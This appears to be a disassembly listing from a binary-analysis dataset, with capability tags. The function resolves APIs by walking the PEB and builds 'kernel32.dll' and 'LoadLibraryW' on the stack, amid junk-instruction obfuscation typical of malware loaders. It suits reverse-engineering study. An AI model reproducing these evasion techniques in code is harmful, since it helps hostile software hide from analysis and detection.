Function at 0x100051ae
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
xor edi, 0x88fb
call 0x100051c5
add byte [ebx + edi], bh
inc ebp
inc esp
push eax
dec edx
dec ebx
push eax
add esp, 4
pop edi
cmp dword [ebp - 0x15d8], 0
jne 0x100051e1
mov dword [ebp - 0x31c], 0
jmp 0x1000549d
mov eax, dword [ebp - 0x15d8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc98], edx
push esi
or esi, 0x158d9
or esi, 0xd95
pop esi
push eax
push edx
add esp, 4
xor eax, 0x14ac1
add eax, 0x110d8
pop eax
push ebx
push ecx
add esp, 4
xor ebx, 0x1b1f
add ebx, 0x2ed
pop ebx
cmp dword [ebp - 0xc98], 0
jne 0x1000523d
mov dword [ebp - 0x31c], 0
jmp 0x1000549d
mov eax, dword [ebp - 0xc98]
mov dword [ebp - 0x504], eax
push eax
xor eax, 0x17bd5
sub eax, 0x1ec5
pop eax
push edx
or edx, 0x1556b
call 0x1000526c
add byte [ebp + 0x42], al
inc eax
dec edx
xor eax, dword [edi + 0x4b]
aaa
add esp, 4
jmp 0x10005274
or edx, 0xdb0c
pop edx
lea ecx, [ebp - 0x1738]
mov dword [ebp - 0xc94], ecx
mov edx, dword [ebp - 0x504]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc90], eax
xor ecx, ecx
mov word [ebp - 0x210], cx
xor edx, edx
mov word [ebp - 0x10c], dx
push edi
call 0x100052b5
add byte [edi + 0x3e], cl
dec eax
aas
xor eax, 0x4c4834a
pop edi
push edx
push edi
add esp, 4
call 0x100052ca
add byte [ebp + 0x4c], cl
xor al, byte ds:[ebx + 0x38]
add esp, 4
and edx, 0x6e4f
or edx, 0xe2e8
pop edx
mov eax, dword [ebp - 0xc90]
mov cx, word [eax]
mov word [ebp - 0x1032], cx
mov edx, dword [ebp - 0xc90]
add edx, 2
mov dword [ebp - 0xc90], edx
mov ax, word [ebp - 0x1032]
mov word [ebp - 0x210], ax
mov ecx, dword [ebp - 0xc94]
mov dx, word [ecx]
mov word [ebp - 0x1034], dx
mov eax, dword [ebp - 0xc94]
add eax, 2
mov dword [ebp - 0xc94], eax
mov cx, word [ebp - 0x1034]
mov word [ebp - 0x10c], cx
push ebx
sub ebx, 0xe2de
jmp 0x10005344
call 0x10005351
add byte [edx + edi + 0x4b], cl
xor edi, dword ds:[ebx]
push eax
add esp, 4
call 0x10005362
add byte [esi + 0x3c], al
dec edx
inc eax
inc ebp
cmp al, 0x43
xor al, byte [ebx + 0xf5b04c4]
mov bh, 0x95
hlt
push edi
push edx
add esp, 4
add edi, 0x15988
or edi, 0x2ae1
jmp 0x100054b4
pop edi
push esi
xor esi, 0x2bf6
pop esi
push edx
push ecx
add esp, 4
xor edx, 0xfca9
xor edx, 0xd2d4
pop edx
cmp dword [ebp - 0x31c], 0
jne 0x10005de8
mov edx, 0x6b
mov word [ebp - 0x17a4], dx
mov eax, 0x65
mov word [ebp - 0x17a2], ax
mov ecx, 0x72
mov word [ebp - 0x17a0], cx
mov edx, 0x6e
mov word [ebp - 0x179e], dx
mov eax, 0x65
mov word [ebp - 0x179c], ax
mov ecx, 0x6c
mov word [ebp - 0x179a], cx
mov edx, 0x33
mov word [ebp - 0x1798], dx
mov eax, 0x32
mov word [ebp - 0x1796], ax
mov ecx, 0x2e
mov word [ebp - 0x1794], cx
mov edx, 0x64
mov word [ebp - 0x1792], dx
mov eax, 0x6c
mov word [ebp - 0x1790], ax
mov ecx, 0x6c
mov word [ebp - 0x178e], cx
xor edx, edx
mov word [ebp - 0x178c], dx
push edi
or edi, 0x157ab
sub edi, 0x995f
pop edi
push ecx
push ecx
add esp, 4
or ecx, 0x71b3
pop ecx
push ebx
push edi
add esp, 4
xor ebx, 0xc9bc
sub ebx, 0x155d1
sub ebx, 0x109bc
pop ebx
mov byte [ebp - 0x894], 0x4c
mov byte [ebp - 0x893], 0x6f
mov byte [ebp - 0x892], 0x61
mov byte [ebp - 0x891], 0x64
mov byte [ebp - 0x890], 0x4c
mov byte [ebp - 0x88f], 0x69
mov byte [ebp - 0x88e], 0x62
mov byte [ebp - 0x88d], 0x72
mov byte [ebp - 0x88c], 0x61
mov byte [ebp - 0x88b], 0x72
mov byte [ebp - 0x88a], 0x79
mov byte [ebp - 0x889], 0x57
mov byte [ebp - 0x888], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x198c], eax
mov ecx, dword [ebp - 0x198c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1990], edx
mov eax, dword [ebp - 0x1990]
mov dword [ebp - 0x15e4], eax
push edx
push ebx
add esp, 4
xor edx, 0x2552
sub edx, 0x1359b
and edx, 0x14557
call 0x1000564f
add byte [esi + 0x33], al
inc esp
inc ebx
inc esi
dec ebx
xor dh, byte ss:[edx]
add esp, 4
pop edx
push edi
jmp 0x1000565a
pop edi
cmp dword [ebp - 0x15e4], 0
jne 0x10005673
mov dword [ebp - 0x750], 0
jmp 0x1000592f
mov ecx, dword [ebp - 0x15e4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xca4], eax
push esi
push ebx
add esp, 4
and esi, 0x16bfc
xor esi, 0x175f
or esi, 0xd321
or esi, 0x14891
pop esi
push eax
and eax, 0x11994
or eax, 0x4c24
sub eax, 0x14fb6
pop eax
cmp dword [ebp - 0xca4], 0
jne 0x100056cf
mov dword [ebp - 0x750], 0
jmp 0x1000592f
mov ecx, dword [ebp - 0xca4]
mov dword [ebp - 0x508], ecx